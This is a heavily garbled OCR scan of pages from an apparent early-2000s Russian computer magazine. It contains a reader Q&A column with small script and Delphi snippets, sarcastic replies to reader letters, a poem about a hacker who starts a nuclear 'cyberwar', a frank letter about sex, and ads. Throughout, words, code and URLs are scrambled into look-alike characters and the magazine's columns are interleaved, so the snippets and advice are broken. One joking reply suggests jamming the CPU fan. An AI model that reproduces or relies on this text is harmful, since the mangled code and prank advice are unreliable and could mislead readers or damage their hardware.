она умеет? Во-первых, конвертировать .файлы Ф Р,, 0грамм ы Н е ограничиваются, 

что впрочем, тебе и требуется. Однако мтзс в рД1 переведет звук 48000 № 

МКЗта с легкостью проведет мл подключит необходимые субтитры, 

в 44100 КНІ, разобьет видео на сегменты и диски и под 



тереса. И забегая вперед, измененный интерфейс. Разработчики 

ложительные эмоции. Сразу бр вберется даже пятилетний ребенок. Различные 

упростили все до предела, теперь в внешН ий вид о6олоЧ ки, такую 

графические преобразования как подружке. Удивительно, но скорость 

не стыдно показать даже не “""^Г ным Химизациям все стдао буквдаь- 
работы ничуть не упала, наоборот, б ДЭР некоторые неп0Н ятные задержки и “Дтормо- 
но летать. Замечу, в версии 2.0 у например, текстовый редактор, программа 

зы. Теперь же - все (Ж. П°™ ви " архиватор ничем особенным 

просмотра изображении в режиме*^» ^ ^ ^ вп рочем, и на остальных 

Легче будет ознакомиться 



о- Йо работа, постоянно прихо 
Читая ^ 7 попить информацию 
(документы, системные раилы и 

т*ХА~о сих пор делал ^ 
ными ЬА<- ? аТ,лами - достал . 
Сочатся чего-нибудь идосного 
$^085 ’ ноет роивае мого. 

ответ 



А: Программ для автома^зир^ан ного = 

приглянулась утилита ппВаскир . Р/ можности программы на- 
написанная русскими разработчиками. „Двателя. Ис- 

верняка Удовлетворят даж, ппВаскир можно не 
пользуя богатый выбор ' “ тр °® ’ ование , но и наладить автомати- 
только проводить банальное ™ Р ре з е р В ной копии или провести 
ческое восстановление Д анных ^ р с олее того, программа под- 



О: Й<г подсюпсет екако/А ни 
будь хороший Ьоо< ^пА^е?, 
чтобы на один винчестер 
можно было поставить нес 
колько операционных си с 
тем, вкллочая\ймеа, Ѵ^пГ/в, 

0>, Ѵ/л 2000 и 
тЩнро(у^ШХ'.'.'.'.. 

ответ ...■■■■■ * * * . ничего больше и не нужно... 

* ЧеМТе6 :„:вГГи —рівать что-нибудь экзо™. 
Хотя это дело вкуса, ьели ^ 2е1есІ0Г (ИПр://шлл/.асго- 

«кое, то я не видел. Легкая 

піз.ги/ргобисіз/оззеіесіог/). КОЛИЧ ества ОС (включая все 

установка, поддержка огро в-Тгоп ит.д.), отличный ин- 

аветягг 1 



то **си > Г ° “ 

ным критер <— іг/? дч к’<й ІЗсе получилось даш-е 

сделать все на г в а і - >гСТЬ 0 ^ иа проблема. 

личине , чем я к молено допустить 

О понятия не имело, как ^ 

%и^Хн_лол6\ программу и* бвлйп ( 

ответ. 

А- Встроенный язык скриптов во РІазИ’е - исправлять. Сейч ^°‘ 
Р рГ ^ Р о С— с : — , с помощью которой и решается поставленная зад ■ 

Собственно запуск внешнего приложения, 
ізсоттапб («ехес» , «поіераб .ехе») ; 

Запись строки в файл: 

Зігіпд = «Хакер’ 5 РАО»; 

РіІеИате = «с:\\Х_0303_РАО Лхі» ; , 51 гіпд + «\і>» + РіІеЫате); 

І 5 Соттапб(«ехес»,»соттапб.сот\ѴСѴесбо\ѣ> + ыппу 

Добавочная запись строки в файл. 

Зігіпд = «Епб оі Хакер’ 5 РАО»; 

РіІеИате = «с:\\Х_0303_РАО Лхі» , ,, 31гіпд + «\*>>» + РіІе№те); 

І5Соттапб(«ехес»,»соттапб.сот\ѴС\1есбо\ѣ> ыппд 

Переименование файла. 

ИеМате = «с:\\Х.0303 ^новиШ»; 

ЫеиГіІеЫате = «с:\\Х. 0 303_РАОМ *■ Ие№те + А*» + №«РІІеМате); 

(5Сотта П б(«ехес»,»сопітапб.сот\(/С\1ге П \т» + 

Изменения атрибутов файла: 

РіІеИате = «с:\\Х_0303_РАО.М», 

АйгіЬиІез = «-а+И+г+з»; 

// «-» снять атрибут 

я»' + м 



о 
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ответ. 

, не сои, об—, что компьютерная ѵ"™'- 

являются девайсы, которые еще вчера казал ^ ности увеличивается и тепловыделение. А пе- 

НИИ есть и обратная сторона. С ростом <проиаВД _ и ^ гшжи , завиС оны, самопроизвольные 

регрева компоненты компьютера не любя . охлажде ния компьютера отнюдь не случайно. 

перезагрузки... Поэтому развитие Ф р ро С (№ р.//к 00 і аП се.с 0 т/ргобисІз/ргосІис1.бІтІ.собе 
Возьмем, к примеру, систему компьютера (а именно, про- 

А01) Принцип работы прост до безобраз ■ тясЬическому чипу видеокарты) проводятся воте 
цессору, винчестеру, северному мосту чип<*та и циркулирует т и С пеци- 

рблоки, которые последовательно П0 „ 0Щ1 радиатора и нескольких вентилято- 

альному резервуару, который охлаж да е й особенно если учитывать, что РС2-С поставляв 
ров. Установить такую систему совсем неслот ■ все нео6ход имые крепления для ком- 

ся вместе со специальным корпусом, на котор Р е У охлаждеН ие, охватывающее все 4 грею- 
Гейтов системы, а также блок не хуже, чем лучшие экземпля- 

щихся компонента компьютера, работае нет а ведь как раз это мы и любим. Тихо и хо 

ры ндашево. Этим, вероятно, и объясняется недоверие поль- 

зователей к подобным способам ошждения. 



С?: Как мохда ум<гмь- 
и^ыгь разм<гр исюшя 
<гмого (ройьо, скобки 

№№ЫО'Ш У'<^ Р^/ 

ответ 

-даай?- 

^ятиотрудио но если разобраться с компонентам 

Кеу Обіесі УЬгагу (бйр://Ьопап2а5.ппе1.ги/ппбех.Мт), 

то результат превзойдет все ожидания. 



ЛАМОРАЗМЫ НОМЕРА 






I- г—» ” 

кому верить? 

это м«ет быть реализовано? Р.5. Предоагают за 100$. 



О: слышал, V го іо ірхи* 
мОо><2М(4 (Эо а № юка^г 
0ОРРЮИО О?, щат-ься гоьосо и 

к Идея^г'ол'о'сового' общения' в процессе доры^ 
же Соипіег-зіпке уже довол л н0 ГГебуется - рабочий микрофон, 
ей по умолчанию. Все чт общения потребляющих при- 

Программ доя обеспечения ^ менее, и сре- 
емлемое количество трафика ' и ® * наипростейшая программа 
ди них можно выбирать. Если нужна на рісоР , опе 

С минимумом настроек, Всег0 пятьдесят килобайт, 

(ВД://ѵѵѵѵѵѵ.ѵ'Ле2. іі/рісорбопе/іпбе . )■ б оле е нав орочен- 

ной является утилита Васкдгои наглядный контакт-лист, 

роПаЫе Вабіо). В твоем Р а с п °Р™ ел "Гмо Г о звука и выбирать 

гГ— 

количество общающихся ограничено двумя). 




1 7Л^^КТсг 6 Х — 

« — ^-программеры— сястакойпро^^^ 

плюнуть. Способов несколько. Опишу лишь один, 
ргосебиге ТРогтІ .ИіИ КеуРге55(Зепбег: ТОЦесІ; ѵаг Кеу: Сйаг), 
ѵаг 

сВей : ТВесІ; 

Ьт : ТВіІтар; 

ІЭе9 \(\/іпбоѵѵ5.0еіСІіепШесІ(Ебі11 .Напбіе, сВесІ); 

Ьт ■= ТВіІтар. Сгеаіе; 

Ьт.Ѵ\№ := сВесі.ВідМ; 

Ьт.НеідбІ := сВесТВойот; 

КЙЙК* + Ке У> > 

Ьедіп 

Кеу := #0; 
епб; 

Ьт.Ргее; 
епб; 

введенный символ отбрасывается. 
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Юниты 



РАО 



«II Зіерап ІІуіп ака 31 ер (Тад@геаІ.хакер.ги) 



Задавая вопрос, подумай! Не стоит мне посылать 
вопросы, так или иначе связанные с 
хаком/кряком/фриком - для этой есть Паск-Тац 
(ПаскТад@геаІ. хакер, ш), не стоит также задавать 
откровенно ламерские вопросы, ответ на которые 
ты при определенном желании можешь найти и 
сам. Я не телепат, поэтому конкретизируй вопрос, 
присылай как можно больше информации. 



0>: Слыи^ак, выи^гл -^о^Л с Х 
2Й02-. Иа . в^сит. .аж 

нихроВуСТ-шт- № МФСГГЬ. 

ответ 




А: ЗОМагк уже давно стал ста ^ Т ° М рда'^выход ^даюГГр" 

производительностивидеосис ^ ^ нно т авТ оров и 

обоз^вателей на ^йт^багё»е-темда^ 
любитель поэкспериментиро орціагк 2003 состоит из че- 
сомневаясь,»а™ новый паке^^^ ^ компонента для тес- 
тырех игровых тестов, ѵ ■зп-чвѵка Замечу, что воз- 
тирования качества изображе _ отличное новов- 

можностьтестированияобъемногоЗО-зву й 

ведение. Наконец-то 1 ^"дитель- 

нить влияние источников об№М “ г ° ^ ра зр а ботчи- 

гг 

ггжетжу 

остальных же ( осо ^™ ® ™ 0) количество РР5 не превышало 
мость видеокарты с йгейХ ■) счастливым обладателем 

^Г^ГнаГп" свая версия бенчмарка тебе 

не подойдет... 







О; р программирую на Р 
^ак можно осуществи 
сб&рргывдние.. , программы - 

ного здесь нет. К счастью, уж д программерам, 

абсолютно бескорыстно помогают тин» « 

юзанья^дашетГс^^ 

^■йяваяк®®-* 

зіѵе/), Тгауісоп из набора ЗузТооІз. 



О: А раѵсіА-уст родства %~ 
0 рСг'йТ атъ ш ясО 'ли пухом. 



, а, МРѴСР-М^Р с хороии&й 

СГ-П осо^гцЛюю^ны’срь ѴП - ^ ^ ?ЦМ и,ио- 

ришци ономмсгью, р г<2»е. _ ' 

ѣююсгь» ю} и ошѵь х««- 

гт*! 9 & м ссш * 1У 





О: Ѵаіог’а* с**** к*«и ■ 

^ о никак н<г могу до ю ^ €а лийстаІ /из, 

иьъйсни, ^ 

^'^граммирую. на шрл • 

, і/гылоипх/ <;р 



(й ТВ&Г г I ■ ■■■*■■ ■ 

А для установления плюшки (куш) **»«*^^ таг0 ’ ™ 

но показан в следующем скрипте. 

#!/изг/Ып/регІ 
изе С01 рѵ/(:з1апбагб); 

ргіпі “<Ыу><И1>Плюшка<И1>\п” 
ргіпі "шусоокіе =”, де(соокіе( шусоокіе ), 

ргіпі “<Дюбу></МтІ>"; 



о*. ГЬЭсю>е^, молено Р^™~ 

■овать провѣрку оррограрииоп 

Се? Опекал Весь ш<гт, ювсло- 

7)о толью ьлатныа с^^гы, о _ ^ 
вареных сайтах т акула мелочь 
Ѵ&ФйкКШы&ают:.: 

ответ 






А Да, действительно, такие скрипты довольно Р = Водае время, кот- 
да у меня был заизнап 171 143 /собе/ртзс/). Ничего особен- 

того в нш нет^^сгеньдая реализация и не очень шустрый алгоритм, но 
за неимением лучшего... 






0 >: Срочно нужны н ^ сю ^Х?иакачал кшй - ни один 

ответ 



г Г7 . і 

\<2творЯ&Т! 



см 017 

А Будут. Для этого Не исключе- 

модули. Искать здесь: б«р.//рс™а.змгш ^ а йства не 
но, что в списке "°® е Р жи " 

будет. Но раньше време ” рсшсіа-устройств. Он прове- 

из н: бѵдет “ с 

твоей железкой. 



ответ. ” 

А Ну и где написаны требования?! В любом случае, упомяну только самые достойные. 

к- т/1 написан на РНР поддерживает комментарии, архив новостей, ра 
РМасЫпеРго (Шр://»1№.ртас1«пе_да /) о настраивае тся. 

тематические разделы * же '' 

Про остальные подробно рассказывать не суду, ч>у 
МоѵаЫе Туре (№р://ѵ»ш.тоѵаЫеІуре.огд/) 

Ризіоп Меиз (бир://ѵиш.^юп^<пД ^.^.мтД 
РѴО Таре о( пеиз ѵ2.0 геіеазе (Рйр.//рѵбпемз.теое5і 
гтд ііплиіпАОгл жигѵ / Аллллл/ . огпасбіпе . сопгі/ ) 



РѴЭ Таре оі пеѵѵз М.и геіеаье - 

РМасЫпеРго (Ийр://шѵѵ.ртасбіпе сот/) 
АрехИеѵ/з (МІр://шѵѵ.арехпеѵ/5.пеѴ) 



102 






ТМ ЯАОЮ Ш_ТРА 



Юниты 



[Щ 3 НП ПИСЬМП ОТВЕЧАЛ СЕПТПЕП [ШШШ.СЕПТПЕВ.ТШ 



::: Наше е-мыло: тадагіпе@геаІ. хакер. ш 




РОЗ, РПЗ, РПЗ... РОЗ, РПЗ. ТИШИНП В СТУДИИ... 



Тишина в студии... Работают все радиостанции. С нами снова наш 
любимец и несгибаемый национальный герой Сепіпег, который с 
упорством накуренного землекопа будет лопатить горы 
приходящей почты в поисках литературных самородков и прочих 
полезных ископаемых. На данный момент мне удалось-таки 
изыскать несколько перлов, которые я и хочу представить сегодня 
на всеобщее обозрение. 



Первым искрометным литературным перлом в тоннах 
эпистолярной руды оказалось послание товарища Страйкера 
[5Ігікег_ххх@таіІ.ги], которому не дают покоя глюки в нашем 
журнале (да и не только в журнале и не только глюки). 




Здраствуй, дарагой гастроном ][акер, и тебе тоже, кто отвечает на этот 
шампунь :))). Читаю я вас аж-ж, то есть полгода. В общем журнал очень 
хороший, и я буду продолжать его покупать, до ваших дней, Аминь!!! :)) И как 
обычно в каждом приличном издании за такие-то деньги есть свои 
собственные глюки :). Я хочу просветить и дать вам некоторые советы, ибо я 
легион, и нас много :):):):)=: 

1 .Ваш диск является очень хорошим произведением искусства, но оболочка 
могла быть и покруче! со своим распаковщиком, например. Также было бы 
неплохо, если бы на диске были кряки для прог, Хакер вы или кто? 

2. Теперь насчет журнала. Его можно было бы сделать побольше. Добавить 
1 0-20 страниц, и на половине выложить рекламу, это бы себя окупило. 

3. Дизайн дизыгна, то есть журнала, просто офигеть! Но иногда его развозит, 
особенно в «Зале суда». Я бы еще хотел узнать, что было написано в номере 
ѵег 10.02(46) на 33 странице, 3-й столб, внизу. У меня там черная краска. 

Ну все, пора бы и заканчивать, да как-то не заканчивается :))). В общем все 
круто, так и держать!!! 

Р.5. Письмо не критиковать, не кусать, не грызть, не есть - отравлено :)); ни 
в коем случае не удалять, оно на гарантии и застраховано!!!!! Если шо, то 
меня кличут ЗТКІКЕРГом 



Уважаемый Страйкер! 

Наш журнал рассчитан на различные возрастные, социальные и 
даже инвалидные группы. По этой причине диск, который является 
приятным дополнением к журналу, упаковывается в простенький 
полиэтиленовый пакетик. Если ты испытываешь некоторые 
затруднения с распаковкой диска, рекомендую тебе обратиться за 
помощью к членам своей семьи, сестре-сиделке, прохожим или 
санитарам. В любом случае, мы учтем твои пожелания, и начнем 
разработку самораспаковывающегося пакетика на молнии, на 
липучке или в качестве приложения к диску будем предлагать 
нашим читателям безопасную открывалку для компактов. По 
поводу черной краски в ѴЕП.1 0.02(46) могу сообщить тебе, что это 
произошло в результате экспериментов с искривителем 
пространства конструкции Д. Шеповалова. Обещаю, что более 
такого не повторицца. С уважением Сепіпег и весь ОДКЕР. 



Ну вот. Одному уже стало легче. Продолжаем наши изыскания. 
Вот еще одно послание в бутылке, практически сигнал 
бедствия, полученный от Бессмертного [ІштогІаІІ@пеѵѵтаіІ.ги]. 



Здравствуйте, Дорогая Редакция! У меня проблема: сижу я сегодня за компом, и от 
скуки решил посмотреть, какие приложения находятся в моей оперативке, нажимаю 
СМ+АН+ОеІ, захожу в Диспетчер задач - и что я вижу: 99% ресурсов жрет процесс под 
названием «Бездействие системы»! И что самое страшное, я не могу его выключить. 
Что мне делать? Может, это вирус? Подскажите, пожалуйста... Заранее спасибо! 

- Везі гедагсіз, ІттоПаІ 



ІттоПаІ, голубчик ты мой! Вставай и беги! Бросай все, возьми 
только наиболее ценные вещи, теплую одежду, детей и иконы и 
беги! Тебя поразила ужасная зараза, но спастись еще можно! 
Половина страны уже страдает от бездействия системы. 
Останавливаются фабрики и заводы, нарушаются коммуникации, 
небесные светила меняют свои орбиты от тысячелетнего 
бездействия. Лично тебе безотказно помогут прогулки на свежем 
воздухе, диетическое питание, спокойные настольные игры, 
общение с друзьями и знакомыми. Делай по утрам физзарядку, 
обливайся холодной водой, запишись в парочку кружков или 
секций по интересам. Не будет скуки, если заняты руки! 

Ну а если тебя серьезно достало бездействие системы, создай на 
рабочем столе ярлыки от всех программ и документов, которые 
найдешь, выдели их мышиным курсором и нажми кнопку с надписью 
БИТЕР. На ближайшие 5-7 суток бездействие твоей системе не 
грозит. Для усиления эффекта уменьши размер свопа и при помощи 
подручных предметов заблокируй вентилятор с кулером на 
процессоре. Удачи Вам в борьбе со скукой и бездействием!!! 



Помочь терпящему бедствие - почетное дело для каждого. Но 
стоит помнить, что спасение утопающих - дело рук самих 
утопающих. Берите пример с КОгОІ [к0г0І@плаіІ.ги]. Борясь со 
скукой, он сам создает себе проблемы, которые успешно 
решает. Возникает только один вопрос: а звук-то теперь 
работает? Сообщите нам, дорогой КОгОІ, о результатах вашей 
бурной инженерной деятельности. 



Приветик Хакер! Не буду долго и нудно говорить о том, сколько я вас читаю, 
какие вы хорош ие\плохие (нужное подчеркнуть), а сразу перейду к главному. 
Решил я себе поставить кулер на мать, пошел, купил Огапде ОгЬ от 
теламеркета. Старый радиатор никак не получалось снять, и я решил поддеть 
его отверткой, с небольшим хрустом он отлетел (на хрусть я не обратил 
внимания). Вытащил мать, приклеил кулер, вставил обратно мать и включил. 
Не заводится, в смысле монитор никак из станбая не выходит. На следующий 
день повез мать в сервис-центр, типа поменять. При тщательном осмотре 
техник нашел два отодранных кондюка, один рядом с северным мостом, а 
другой тот, который отвечает за питание биоса. Конечно, мать они мне 
менять не стали, но сказали, что если руки у тебя оттуда растут, то можешь 
их (кондюки, а не руки) припаять. Такие кондюки стоят на выходах звуковухи 
на маме. Пришел домой, взял обычный 30-ваттный паяльник и начал паять. 
Припаял, вставляю новый биос (это в сервисе мне подарили) вместо 

сгоревшего, включаю и все работает!!! Вот тока мой с- 1000 определяется 

как ІІпкпоѵѵп процессор. Вот теперь могу говорить, что я материнки с 
полпинка чиню :)) Ну вот, в общем, и все, покеда. 

З.Ы. А журнал мне ваш нравится... 



Ну что ж. Очень хорошо, когда человек является знатоком 
своего дела. А вот в отношении редакции ][ у наших 
читателей появились сомнения. Возьмем, к примеру, письмо 
некоего Кости [р332@5ітіЫг.ги]... (Орфография и пунктуация 
оригинала сохранены.) 



Привет редакция. Я прекрасно знаю, что ты сидишь у своих «компов» и 
разбираешься в куче спама в котором завалялось и мое письмо, которое ты 
сейчас читаешь. Читая ваш журнал у меня создается впечатление что вам 
нечего писать и пишите про историю компов, про как работает принтер, или 
что еще хуже поблекуете интервью с хакерами которые только пол статьи 
расказывают где родились и как живут. Корочи половину журнала поблекуется 
только для толшины переплета. Ну а ваш диск к журналу, вы его хоть сами 
смотрели, большая часть программ совершенно без полезны и однотипные, и 
стоитли говорить, что с устоновкой части програм полная лажа. Демки 

наветрное скопированные, через имулятор, с Денди, а о музыки даже 

говорить не хочу. Ну а теперь о хорошем, низкий поклон вашим дизайнерам 
сайта, сайт отличнай и по просото и оформтению и по количеству инфы 
который он дает, огромная рубрика взлома и халявы, да и остальные проекты 
сайта мне тоже наравится. Одним словом дизайнеры не подкачали, а вы 
журналисты? Ну ладно пока. Если я неправ пишите росМа@хакег.ш (я не 
ошибся при написании сервера на мыле) 



Милый Костя. Нам очень стыдно презнаться, но ты полностью 
прафф. Ридакция состоит в асновном ис быфшых прапорщиков 
самокатно-пистолетных войскь. После того, как нас фсех уволили в 
запас, мы осталися бес средств к существованию, и решили 
заработать денюшек таким вот низменным способом. Вообще-та 
мы хатели написать о влиянии пения на трение, но литературы па 
этой теме уже и без нас очень многа, и мы пишем о компьютерах, 
принтерах и даже о мышах, вот. 

Комментарий лечащего врача: «Хакеры так долго рассказывают о 
том, где они родились и как живут по причине того, что рождались 
они не как обычные люди, а при помощи клонирования 
(Шеповалов), кесарева сечения, разъединения сиамских 
близнецов (Центнер и Дядя СтеБа), что произвело на них 
неизгладимое впечатление». 

А диск мы дабавляем ф журнал, чтобы он (журнал) был тижылее. 
Так выгоднее сдавать его на маккулатуру. Ты можеш использавать 
его как патстафку для чайника. А сайт мы тоже скрали. Раньше это 
была страничька китайскава интернет-магазина па прадаже 
товароф для животных. Она висела на стине вакзала в пикине. Но 
очень хорошо, что он тибе панравился. Мы старалися. Папробуй 
никаму ни расказывать нашева маленькава сикрета, и ты 
проживешь намного дольше. Адрис сервира ты написал правильна, 
осталась тока узнать, что это за сервир. 
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Ладненько, редакцию мы раскритиковали, пора бы 
заняться и читателями. Вот тут Максимка Бердников 
[ЬтзагсЫѵе@г66.ги] идею подкинул. Щаз мы ее бу- 
дем рассматривать. 



^^^енЭТірёдложёни^^^ТёраЭТІуіСТтгт^ГОСП^ол^^ьПтуВликует^^™ 

рубрику самые плохие письма читателей "Ламаразмы номера", то 
почему бы вам не публиковать лучшие письма читателей, ну и са- 
мым активным призы организовывать. Вуе! 



Предложение, конечно, интересное. Но давайте по по- 
рядку. Если опубликовать одно письмо одного читателя, 
как самое крутое, то получится, что все остальное - отс- 
той и шняга. Читатели обидятся, и перестанут быть чи- 
тателями, а некоторые могут и лицо набить, всякое бы- 
вает. Конечно, мучительно больно, когда призы доста- 
ются дуракам, но так уж исторически сложилось на Ру- 
си: дуракам весь клад дается. Не расстраивайся, Макс. 
Дерзай, твори и будешь замечен. 




А это письмо, написанное КеуЬоагб РипсГіег’ом 
[Лѵ87@гатЫег.ги] в порядке исключения вместо треша 
отправится в «Д». Я думаю, возражений не будет. 



Привет редакция ][! 

В Трэш: 

1. @##@##%%#,#$%%“%#@@!!!!! (Мат, пустая 
ругань!) 

2. Вышлите кряк, программу!!! (Поисковики не могут.) 

3. Объясните, почему у меня не работает 
компьютер(ѴѴіп98)? 

4. Как настроить унитаз? (Не смывает.) 

5. Пришлите пожалуйста журнал, компьютер, Мегсебез 
СІ.К!!! 

6. Взломайте\крякните\фрикните моего соседа, подружку 
и мавзолей Ленина. 



ОЕАП КеуЬоагсІ РипсИег! Очень признателен тебе за 
интерес к нашему журналу и спешу дать необходимые 
разъяснения. 

1 . То, что ты нарисовал - это не мат, и даже не пустая 
ругань. Это хрень какая-то. Мат ты можешь 
увидеть/услышать/прочувствовать на себе в пивнушке при 
автопарке и во многих других жизненных ситуациях. 

2. Кряки и программы уже высылаются. Я думаю, что 
наши читатели тоже пришлют тебе кряков, так что качай 
на здоровье. Не забудь увеличить почтовый ящик 
мегабайт так до 500, а то не все кряки поместятся. 

3. Компьютер у тебя не работает по причине 
несвоевременного зачатия без желания со стороны отца и 
старания со стороны матери. 

4. Унитаз настраивается элементарно - просто добавь 
воды!!! 

5. Журнал, компьютер и мерс уже едут к вам малой 
скоростью. Держи карман шире и одновременно хвост 
пистолетом. 

6. По поводу действий с соседом и мавзолеем - не знаю, а 
вот если подружка симпатичная - приводите - фрикнем ее по 
разику- другому, уж так и быть. 




Футболки "Ргосесіиге Огіпкз' 
темно-синяя/черная 



Футболки "Хакер Іпзісіе": 
темно-синяя/черная 



Футболка "Голубое 
Окно Смерти ѴѴіпсІоѵѵз' 



Коврик для мыши 
Опасно для жизни" 



ВСЕ ЭТИ ФИШКИ ТЫ МОЖЕШЬ ЗАКАЗАТЬ 
НА НАШЕМ САЙТЕ ШШ.ШЕР.КЦ, 

ИЛИ ПО ТЕЛЕФОНУ: (095) 928-0360, (095) 928-6089 
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Даниил Шеповалов 
Повелитель психоматриц генетически 
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МАЛЕНЬКИЙ ХАКЕР ДЕЛАЕТ ВСЕХ... 

106 Ньюсы Реррум Іпгігіе РС_2опе Взлом 




Вапд Ъапд, парни! Я тут сейчас вовсю занимаюсь 
научно-исследовательскими изысканиями в об- 
ласти генетических алгоритмов, и надо сказать, 
это занятие усиленно погружает меня в бездну 
леденящего душу ужаса. Так что простите за не- 
которую сумбурность изложения. В прошлом 
номере мы объявили конкурс на лучшую телегу 
о маленьком хакере. В результате я поимел 70- 
килобайтный .іхі с вашим креативом. Парни, я 
конечно и сам не великий поэт (мое самое ус- 
пешное творение - это поэма "Здравствуй, ут- 
ро!". Звучит она как "Раз, два, три, четыре, пять. 
Очень хочется блевать!"), но многие ваши стихи 
представляют передовой край литературного 
авангарда и крайне сложны для восприятия. 
Признаюсь, под конец чтения файла, я уже слу- 
шал ГрОб "Все идет по плану" в варианте испол- 
нения творческого состава 386БХ. Уез зіг! Ладно, 
для начала объявляем поэта, который получает 
мега-приз - целый день в моей компании! Этим 
счастливчиком оказался товарищ с партийной 
кличкой 4шрп10, сочинивший оптимистичную 
до мозга костей поэму "Кибервойна". 

Кибервойна (с) 2002 4шрп10. 

Жизнь сохранится и после ядерного взрыва, но 
радоваться ей будут другие, более совершенные 
существа. 

из ролика бгеепреасе. 

■ Іпіго_Вступление. 

Наступала еще одна ночь, 

Город снова погружался во тьму. 

Руки дрожали, было невмочь. 

Пора начинать кибервойну. . . 

Вот появилась на небе луна. 

Но он не видел ее красоты. 

Проблема была только одна: 

Кибервойна... кибертеррор... 

■ Нізіогу 1_Детство. 

Компьютер давно вошел в его жизнь, 

С детства он был непохожим на всех. 

Все казалось ему цифровым. 

Но жизнь не может идти без помех. . . 

И он боялся себя и людей. 

Рос и не мог понять одного. 

Откуда бралось столько идей. 

Из-за которых боялись его. 

Но на улице было новое время. 

Время машин, техники, тэч,* 

Для него фильтровались чужие проблемы, 

Для него фильтровалась чужая речь. 

Голос ему заменила мышь, 

Камеры стали глазами ему. 

Кто он теперь? 

В ответ только тишь. 

Он превращался в кибервойну. 

■ Нізіогу 2_Отрочество. 

Кто-то сказал ему, что он гений, 

Кто-то сказал ему, что он полный дурак. 

Но задела его другая проблема: 

В чем заключается сила? 

Как получить доступ к ней? 

Этим остановив ход времени, 

И уничтожив людей. 

Люди были помехой ему. 

Люди были ему не ровня, 

Все линии жизни вели к одному: 

Кибервойна. . . 

■ Нізіогу 3_Юностъ. 

У него появлялся опыт, 

У него появлялись друзья. 

Но жизни больше не было - 
Реальная жизнь умерла. 

А может, она не рождалась. 

Не нам это надо решать. 

Мы не заменим ему 
Его родную мать. . . 

А кто же была его мать? 

- Его матерью стала злоба. 

Наша страшная злоба, что поделать теперь? 
Эволюции суждено было стать 
Совершенной настолько, чтобы 
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Привет, Даня. 

Обращаюсь к тебе за советом. Меня 
бросил мальчик. Мы познакомились на 
Новый Год. На этой вечеринке он стал 
оказывать мне знаки внимания, я была 
не против. Потом он меня трахнул. Три 
раза. Это был лучший секс в моей 
жизни. Он очень нежный. Короче, я в 
него влюбилась. А ему отношения не 
нужны совершенно. У него целая куча 
девушек. Его девушки меня абсолютно 
не парят, если он будет уделять 
внимание и мне. Но после секса он 
потерял ко мне интерес. Мне кажется, 
что у вас с ним схожие взгляды на 
отношения с девушками и прочее, 
поэтому я решила спросить у тебя. Что 
я могу сделать, чтобы снова его 
заинтересовать? Короче, чтобы он 
понял, какая я на самом деле ох...ная. 
Или что я могу сделать вообще? Мне 
нужен от него, в принципе, секс. 

Люблю, Целую, Алиса. 21 год. 

Р.5. Еще хотела спросить: когда на 
вечеринке мальчик начинает клеить 
девочку с целью заняться с ней сексом в 
ближайшие пару часов, это значит, что 
он хочет именно эту девочку? Или он 
просто хочет секса и для этого подходит 
любая более-менее симпатичная девушка, 
которая находится рядом? Как можно 
трахаться с тем, кто тебе не нравится? 
Последний вопрос: допустим, с точки 
зрения девушки, секс с разными 
юношами сильно различается в плане 
техники и качества секса. Очень мало 
мальчиков, которые умеют хорошо 
трахаться. А вот для вас есть какие- 
нибудь различия между сексом с одной 
и другой девушкой? И имеет ли какое- 
нибудь значение то, как девушка 
занимается любовью? И существует ли 
понятие: "девушка хорошо трахается"? 
Или большее значение имеет фигура, 
размер груди и наличие целлюлита? 

Заранее прошу прощение за 
беспокойство. Очень интересуют вопросы 
межполовых отношений, но никто не 
может ответить на них что-либо внятное. 

Я понимаю, что ты молодой человек 
занятой, но буду безумно счастлива, если 
ты найдешь пару минут и ответишь хотя 
бы на первый вопрос. 






Убить себя и людей. 

Планету оставив только 
Для новых различных существ, 

У которых тоже 

Будут друзья; и которые 

Не познают злобы, им не будет страшна 

Эта жуткая кибервойна. 



■ Нізѣогу 4_Кибервойна. 

Все начиналось быстро. 

Он сам не успел все понять. 
Пара строк кода чистых, 
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полигон 

ИГРОВЫЕ КОМПЬЮТЕРНЫЕ КЛУБЫ 



ПРОГРАММА УЧЕТА 

игрового времени * 

Роіідоп КІТ 



+ полный учет продаж 
+ контроль администратора 
+ поддержка всех видов тарифов 
+ блокировка игровых станций 
+ генерация отчетов 
+ финансовый анализ 
+ сброс данных в интернет 

...и море других возможностей! 
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программа постоянно 
совершенствуется! 

зайди на сайт программы: 




шѵѵ.роиБсжви/рвсіЕВАМ/ 




Сеть интернет-клубов 
“ПОЛИГОН” приглашает: 



Управляющих: 

1 . 25-40 лет; 

2. знание ПО, “железа”, сетей; 

3. опыт управления; 

4. прописка М, МО. 

Администраторов: 

1. 18-25 лет; 

2. знание ПО, “железа”, сетей; 
З.опыт работы не обязателен; 

4. прописка или регистрация М, МО. 

Ваше будущее в нашей 
компании: 

^ интересная работа; 

^ профессиональный рост; 

^ стабильная зарплата + премии; 



^ все требования ТК; 

* , дружный коллектив. 
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ХУМОР 



■ ■■ Даниил Шеповалов 

■ ■ ■ Повелитель психоматриц генетически 
_ _ _ модифицированных осликов 

и и и (с!ап@геаІ. хакер, ш , ѵѵѵѵѵѵ.сіапуа.ги) 



ЕпГег осталось нажать. 

Много ума не надо, 

И гений в два клика всего. 
Направил ракеты Канады, 

На Буша с народом его. 

Америка спала спокойно, 

Во сне и погибла она. 

Так началась страшная. 

Первая кибервойна. 

Первая и последняя, 

Потому что не станет всего, 
Россия великолепная 
Стерта с мира сего. 

Стерта с мира Англия, 

Сравнялся с землей Китай, 
Прощается с нами Франция, 

Погиб и твой Родной Край. . . 
Осталось самое сложное. 

Осталось убить себя. 

Но нет ничего невозможного, 
Ведь закончена кибервойна. 
Конец света прошел за два клика. 
Даже не стало светать. 

Но никто рассвет не увидит, 

С людьми умерла его мать. 




Припев. 

Не бейся на благо народа 
Забудь про еду и жилье! 
Плодить многоруких уродов 
Последнее счастье твое!!! 

Припев (два раза). 



Инет бороздил (по всей мля планете). 
Левые ЗГіеІГы, пароль стоял (тііезі:. 

Взрыв прогремел на Корейской АЭС. 

■ "Х-госк" <х-госк@хакер.ш> 
Маленький хакер по имени Даня 
Жил под мостом на потертом диване. 
Был извращенцем, любил очень осликов. 
Был альтерэго Сергея Покровского... 



■ Ои*го_Термоядерный пепел. 

Поднялось прекрасное солнце. 

Опустилась серая пыль. 

На земле только шорох обломков. 

На воде абсолютный штиль. 

Конец света настал, наверное. 

По земле пробежался ветер, 

Который и сметет последний. 

Этот темный термоядерный пепел. 

Так что, дорогой 4шрп10, давай связывайся со 
мной - будем нещадно тусить, объявив джихад 
своему мозгу. А теперь сплошной поток виртуо- 
